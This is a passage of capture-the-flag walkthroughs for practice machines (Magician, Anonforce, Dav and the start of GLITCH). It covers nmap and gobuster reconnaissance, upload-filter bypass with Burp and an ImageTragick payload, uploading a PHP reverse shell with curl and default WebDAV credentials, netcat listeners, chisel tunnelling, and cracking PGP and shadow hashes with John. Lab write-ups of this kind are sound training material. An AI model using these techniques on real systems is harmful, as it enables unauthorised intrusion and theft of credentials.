* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,8081
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,8081 -oN nmap 10.10.216.234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM1-omaeoL0kMQ-8GG%2Fimage.png?alt=media\&token=ff91c82c-1632-477f-a138-9c08f8928d92)

## Enumeration&#x20;

They told us to add magician to our `/etc/hosts` file, lets go do that.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM1KYXZFF1fgSI9Jn5%2Fimage.png?alt=media\&token=63ab8659-5af4-4594-8274-4f410cb1de8a)

Now lets visit the site that is being hosted on port `8081`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM1XuBeF2IDxGIajvy%2Fimage.png?alt=media\&token=fc046ec8-5b96-47bf-9c0e-59fc02f724a7)

Its a `PNG to JPG converter.` First lets test by uploading a png file, and it works

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM6sTE8gHIdoXEHpcT%2Fimage.png?alt=media\&token=9b50c50f-a934-4944-a52c-6b7c7c6d90ea)

We can try uploading a php file by changing its name when uploading and then changing the name back to php using `burp`, lets do this. The reverse shell I am going to use is [this](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). Once downloaded , rename it with a png extension in the end.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM7iNSeucI4jrP-g62%2Fimage.png?alt=media\&token=e95222d9-4fc4-49e3-8266-448cf35d0d82)

Now lets upload the file and capture the request.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM7tiod-b1YZE-DPau%2Fimage.png?alt=media\&token=31c530a8-0c81-499d-915c-5a18a346a6c7)

Lets now send it to repeater and change the name of the file to shell.php

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM83sSryoofo8BSPnz%2Fimage.png?alt=media\&token=8b3c20f5-4014-473b-aa71-9e931e6a0096)

Now lets send it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM86jEtIdgUEfCBUmk%2Fimage.png?alt=media\&token=9cfaade4-62c4-4bc0-a8d4-e050abb3268b)

It has been uploaded successfully , so now we can forward it in the proxy tab after changing the file name.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM8R0zTLJSqI0cyJ4e%2Fimage.png?alt=media\&token=e6482da8-9db4-4e81-97f1-e1d8e86d5606)

We can see that it has been uploaded successfully, lets start a netcat listener to get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM8aeSaIOaxUm05KFy%2Fimage.png?alt=media\&token=7be6d50d-3c14-4142-b00f-7f13eb2a2e73)

Now lets click on the file to get a reverse shell. Oh but we are only getting the option of downloading the file, we cannot execute the file. So now we have to try a different method.

## Exploitation&#x20;

I went to Google to search for exploits and tried them but came out empty, then I remembered there is a `github` repo called `PayloadsAllThings` with a lot of exploits, so I went to it and searched for the exploit and found it. It can be found [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Picture%20Image%20Magik/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McM9iBZ2hbyvpsYUxzC%2Fimage.png?alt=media\&token=19d97a5f-575e-49bc-8488-8fea73c40d74)

Now lets copy this code to a png file called exploit.png on our machine. We should also change the IP and port in the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McMA7SOW7b8CvGcfW1V%2Fimage.png?alt=media\&token=bfa7df0e-ec67-4936-a79e-857e99f13ebc)

Once copied, lets upload this file. Once you click upload you should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McMAIziwIpqzekB1unt%2Fimage.png?alt=media\&token=82fff4b4-1075-4db6-b42a-eeefbee1f0ff)

Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McMAVBK_UT233XJJ4h7%2Fimage.png?alt=media\&token=d0dc1e4b-cc39-4dfb-9720-702d6134e55c)

We can read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McM0ZDcWh0JjUu81weB%2F-McMAjG1dq4f3ey7XPvV%2Fimage.png?alt=media\&token=3d1028f0-287e-47ef-8abf-ce039cfe9e95)

## Privilege Escalation

I tried enumerating on my own to find a way to privilege escalate but could not find anything interesting, so lets downloaded linpeas onto this machine. We first have to start a http server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMC0KZtnNcd6PpdiBS%2F-McMCPSfiYcy-v97Mxfe%2Fimage.png?alt=media\&token=2a97b9bc-d3bb-4dd4-8960-d82f5fa51732)

Now lets go to the victim machine and download the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMC0KZtnNcd6PpdiBS%2F-McMCZosTxRYgwcQRCAL%2Fimage.png?alt=media\&token=baa1cf45-da7d-471e-b55e-121b13c024bb)

Now lets give it permissions and execute it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMC0KZtnNcd6PpdiBS%2F-McMCgNxQghMR7xAa4wo%2Fimage.png?alt=media\&token=36f48b60-a118-4775-b77d-d06ab928c6e2)

Looking at the output, we see something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMC0KZtnNcd6PpdiBS%2F-McMCv2tTKLKV-WFu4YZ%2Fimage.png?alt=media\&token=dd88a0d6-b65c-493c-94d2-dcf8722c88cb)

The machine is listening on `port 6666`. Port 53 is DNS, so its not that surprising, but port 6666 is not common so we have to use port forwarding to visit this site. For port forwarding we can use a tool called `chisel`. You can learn about this [here](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html).

Lets download the tool

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMFJ_0C9Rf20ksRO7f%2Fimage.png?alt=media\&token=d8d30ccc-4c71-49ac-b20d-c0ac1bbff492)

Now we have to transfer the tool to the victim machine, to do this first find the tool location

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMFR7q8TXdnObYgJwD%2Fimage.png?alt=media\&token=3b3ecb25-9ec7-4a26-82e1-049e908787dd)

Then go to the directory and copy it into the directory you are using for this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMGLiEiAVzNzphnNtA%2Fimage.png?alt=media\&token=20b1520c-f515-432d-9ded-b01913029e50)

Now start a http server in the directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMGUdbIejihjkPJb8z%2Fimage.png?alt=media\&token=2e96ca16-b6b1-4e59-9834-92a78def67ed)

And download the file onto the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMGrdbUCfFn6bUvLdU%2Fimage.png?alt=media\&token=e7e798a6-38f2-4b2d-a332-08ac30e4097d)

Make sure to make chisel an executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMDl5kN0Ghxau1I7Os%2F-McMH0yVKhWd6EE2UX_t%2Fimage.png?alt=media\&token=6b29daac-9992-47b0-9164-f2c61786ba1b)

Now first on our machine we have to use this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMHXwUBZkFxB2YiT2W%2Fimage.png?alt=media\&token=2dd97281-5d49-40d3-ba8f-010ad1b91c93)

And on the victim machine we have to use this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMHc5X9jJiPl9NlDm_%2Fimage.png?alt=media\&token=a55564af-b380-4de9-be9d-040e5d5f29b7)

Once you hit enter you should get this on the victim machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMHiWBwVafmyNmMPGN%2Fimage.png?alt=media\&token=64ffa3bd-bc3f-451e-a771-52ec0eebefcf)

And this on your machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMHlgizotTYTDRmuf_%2Fimage.png?alt=media\&token=bd77eef4-6d13-4c3b-93bb-cad560a166cf)

Now you can go visit the website on `port 2299` on your local host

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMHyr1nH04vrxjuTIa%2Fimage.png?alt=media\&token=da22b24f-b096-4070-898d-9098120f4662)

Now we can get the root file by typing for the root file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMIDjnPZf1EURyQjca%2Fimage.png?alt=media\&token=d68e3fe9-1f65-482e-81f2-960557207c67)

We can use [CyberChef ](https://gchq.github.io/CyberChef/#recipe=ROT13\(true,true,false,13\)\&input=R1Vae3pudHZwX3pubF96bnhyX3puYWxfenJhX3pucX0)to crack this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McMH1rDtwpOIEyWKDPF%2F-McMIQVUIftmObBJuBcq%2Fimage.png?alt=media\&token=9a432d8e-82ee-43cf-b580-cee856640e16)


# Anonforce

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLAihGr3LBhmfH8Xj4%2F-McLBVxul_LUX1yyhDFI%2Fimage.png?alt=media\&token=d872ab83-aae9-4cc9-99fc-8c22784c2cba)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.151.85
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLC23XV_YSPU-1itiF%2F-McLCUND6zLC2jnrjx6f%2Fimage.png?alt=media\&token=15e02e52-ed6f-437e-8f6c-b8e126035ea4)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22 -oN nmap 10.10.151.85
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLC23XV_YSPU-1itiF%2F-McLCe5lVnNehRbUXv22%2Fimage.png?alt=media\&token=4f80e895-3f49-4970-9b90-0e076319d29b)

## Enumeration

Lets login through FTP as anonymous login is allowed

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLCwZB2NZQvHLCOEff%2Fimage.png?alt=media\&token=f9e64c08-69ae-43c8-9db8-4c315dafb3ee)

Looking through we can transfer the user.txt file to our machine, its is located in the home directory of user `melodias`.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLDTeID3qDSPjZMqyr%2Fimage.png?alt=media\&token=5a106547-3939-412f-bdf0-87d55683b821)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLD_9wrvGUc2-yGGC_%2Fimage.png?alt=media\&token=6dec945c-0dea-4974-8d65-644336ec9e68)

## Exploitation

Looking through the directories there is one directory that is interesting, and there are 2 files that are interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLE7Dq_QNctTykmYK7%2Fimage.png?alt=media\&token=9dae0acd-6f85-4af8-9999-1eb3b2640208)

Now lets transfer these files to our machines

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLE_yHd5IoDqycyfZG%2Fimage.png?alt=media\&token=0169962f-9dfe-47e1-8931-a208ef379f48)

We need to crack these files using john the ripper to find a password that we can use to read the `backup.pgp` file as we are not allowed to access it without a password.  Lets do this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLEwe-YeMQ9w-R_Tvy%2Fimage.png?alt=media\&token=5eab30ef-a2b6-4492-9fa0-d0267335969d)

Now lets crack it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLF3bjrOjUbJJpZdK_%2Fimage.png?alt=media\&token=8478aeda-4ccf-4a30-9b62-b0517bbcc1f9)

Now we have the password, lets first import the `private.asc` file and then decrypt the backup file.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLFzaKNigDGD50UbBz%2Fimage.png?alt=media\&token=4bf0fdbd-a949-4476-aba2-b5ed75a93c03)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLFx8S4x4ME5tT_ioN%2Fimage.png?alt=media\&token=99166609-75ee-4db1-bfd0-6eed3dbfcf0c)

Lets put in the password we found

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLG5-VlPwWZR6RQ_HN%2Fimage.png?alt=media\&token=c495d4cf-5f26-4c92-a9fd-fc119d98b8c2)

We have the root users hash, lets save it into a file called `shadow`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLGLd97-ejtmFmtc0p%2Fimage.png?alt=media\&token=ccbc691c-8a68-43c2-a372-a5c02bfdc5fb)

Now we have to get the `/etc/passwd` file from the FTP server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLHJ52AAfqP5rNAwD2%2Fimage.png?alt=media\&token=12bba049-888e-4b11-b8ee-e4090866edc2)

Now lets `unshadow` the file and save it into a file called `output`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLHZBfqtLe91h6hHl-%2Fimage.png?alt=media\&token=d901236c-743a-4267-9668-0eb755d40d84)

Now lets crack the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLHbNDx8BcYCXBtEB6%2Fimage.png?alt=media\&token=b136c1fa-3cae-4be4-8d71-0dd910780185)

Now that we have the password, we can login through ssh as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLHmrGOXaTCWCIW3bv%2Fimage.png?alt=media\&token=382f334b-5aeb-4f0a-9de7-e840be86b849)

We can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLCnQ0vAFSS9-X-Qpk%2F-McLHu6GngMDdskvGW4w%2Fimage.png?alt=media\&token=27ece805-3d9b-4bcc-8b8f-360183e34573)


# Dav

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McK-sNTjuJlnQv8uez7%2F-McL3Nc85Vjx7PKe8H5e%2Fimage.png?alt=media\&token=a6972bd6-2bd9-4660-b020-66e86c3b5105)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.1.27
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McK-sNTjuJlnQv8uez7%2F-McL3kaNaiUd0TFzCD-e%2Fimage.png?alt=media\&token=d92df5eb-0a40-4b96-86d4-e2e014320d7a)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 80 -oN nmap 10.10.1.27
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McK-sNTjuJlnQv8uez7%2F-McL4DfVADBd-ZOakAmx%2Fimage.png?alt=media\&token=aedab3cf-fd5e-43af-a5b3-89e582c4899e)

## Enumeration

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McK-sNTjuJlnQv8uez7%2F-McL4_sRBBjBlDK8Zbzg%2Fimage.png?alt=media\&token=1a756f9c-f1b1-4cd6-abbc-065c2d06c9ca)

Its a default apache2 page, lets run gobuster to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.1.27/ 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL5AnVc9Z8Ah7oPsXn%2F-McL6AE4we71Ln_lj5Kz%2Fimage.png?alt=media\&token=475cddba-106a-4b37-93d4-1cca9d6be563)

We have a directory called `/webdav`, lets go check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL5AnVc9Z8Ah7oPsXn%2F-McL6JkylQ_BziOkSysA%2Fimage.png?alt=media\&token=5d297723-2203-42b6-9142-11358806bf11)

We have to login, we do not have a username or a password, lets go look for default credentials. Looking on google , I found this [article](http://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html), and found a default username and password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL5AnVc9Z8Ah7oPsXn%2F-McL6hROVrJVoxMrrtDv%2Fimage.png?alt=media\&token=25a9e53f-bf78-4bb1-a704-7b37ae252a3e)

Now lets try to login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL5AnVc9Z8Ah7oPsXn%2F-McL6skmUVOSzLhbQfyq%2Fimage.png?alt=media\&token=950a6769-c0cb-40cf-b34b-be72388696df)

We are logged in, lets look at the `password.dav` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL5AnVc9Z8Ah7oPsXn%2F-McL6zKeEl1pPNylwKWU%2Fimage.png?alt=media\&token=9a1b40b0-aec4-4591-afb2-a97d1f076075)

We have a username and a password.

## Exploitation

After this I looked for vulnerabilities for webdav and found that we can upload a file and then get a reverse shell if we upload a reverse shell.

We can upload a file using this command, you can find a reverse shell [here](https://github.com/pentestmonkey/php-reverse-shell).

```
curl --user "wampp:xampp" http://10.10.1.27/webdav/ --upload-file /root/shell.php
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McL91Lf32Hx-BgXYgOl%2Fimage.png?alt=media\&token=b5b9cdab-ade4-434f-a2a1-723d427b9c5e)

After uploading it, refresh the page and you should see the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McL9OkAwLOXXLPsl7KN%2Fimage.png?alt=media\&token=afeae58e-1712-4207-8fc4-3dc856dcac8f)

Now lets start a reverse shell listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McL9UpNcgQ9cqcxAS8i%2Fimage.png?alt=media\&token=ebce7ce8-011e-49f9-b6c5-4cca4b12707c)

Now click the file on the webpage and you should get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McL9dQ0JOW2sp6ISpAM%2Fimage.png?alt=media\&token=bd42eea0-e2dd-4d4e-a442-f6337d427ab5)

Now lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McL9vM6fk7c9sYKQJ3z%2Fimage.png?alt=media\&token=b511dac3-712d-4c25-b3ae-91fbf70bba65)

Now you can read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McL8QIW5j3aUZufnWAH%2F-McLA9Y3zBj4_HQKTVaa%2Fimage.png?alt=media\&token=94f5578a-f584-4fd5-bd68-6e835b21623a)

## Privilege Escalation

Lets run `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLAETxl0g-xCWyjoE-%2F-McLANo7y8NId4cf_UCb%2Fimage.png?alt=media\&token=58bdd9d4-77a4-4593-a224-d0dfe277b7df)

Looks like we can run /bin/cat, lets read the root.txt file with this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McLAETxl0g-xCWyjoE-%2F-McLAY9XWNje8w0_oQFW%2Fimage.png?alt=media\&token=d6dac084-c8bc-48ac-be68-e9a174ea675f)


# GLITCH

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBmCdTY93AdwiOxM3V%2Fimage.png?alt=media\&token=6e931e4d-17ae-4681-8d7c-23abe1af07c8)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.81.21
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBmsewS-QmeLCdemhV%2Fimage.png?alt=media\&token=ac686e98-2098-45e0-a3ae-e75bde7780f8)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 80 -oN nmap 10.10.81.21
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBn1A0_ogY7jDujS9R%2Fimage.png?alt=media\&token=281fe6fd-a199-4540-9cde-77a66a2507b8)

## Enumeration

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBn7q71OS6cQFFsRfQ%2Fimage.png?alt=media\&token=b657012c-1cd8-46ae-9e82-8889069fd0e5)

There is nothing on the page, lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBnFBAnZo5RoMvpoJS%2Fimage.png?alt=media\&token=a3cabdea-3141-46c0-bd4b-246a65153bb4)

We can see that there is a `getAccess()` function, but it not called, lets do to developer tools and call the function. (`Ctrl + i`) Go to console and type this

```
getAccess()
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBnueqkjTYSlZRjrZY%2Fimage.png?alt=media\&token=80485a1a-05f5-4b5c-8aa2-0208bd5deb7b)

We have a base64 string, lets decode it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBo5UYgci0uavdDumF%2Fimage.png?alt=media\&token=6b341947-c386-40d8-a00a-2811775236a1)

Looking at the first question, this is a token, lets look at the tokens on the site. (Located in the storage tab).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBoI-iKde45BMetpiU%2Fimage.png?alt=media\&token=ea9ad0a6-efd1-44c6-8c99-5745ba9b8f38)

Lets replace the current value for token with the token we just decoded.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBomTcxidhvI_wywi4%2Fimage.png?alt=media\&token=d4070bc4-c7e9-4821-9f83-a46b09167570)

Now refresh the page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBora4XdPRYqlzvuwV%2Fimage.png?alt=media\&token=7c4f6329-ff8e-4e42-8d03-22fd59bb89ff)

We have another page. Lets look at the source code

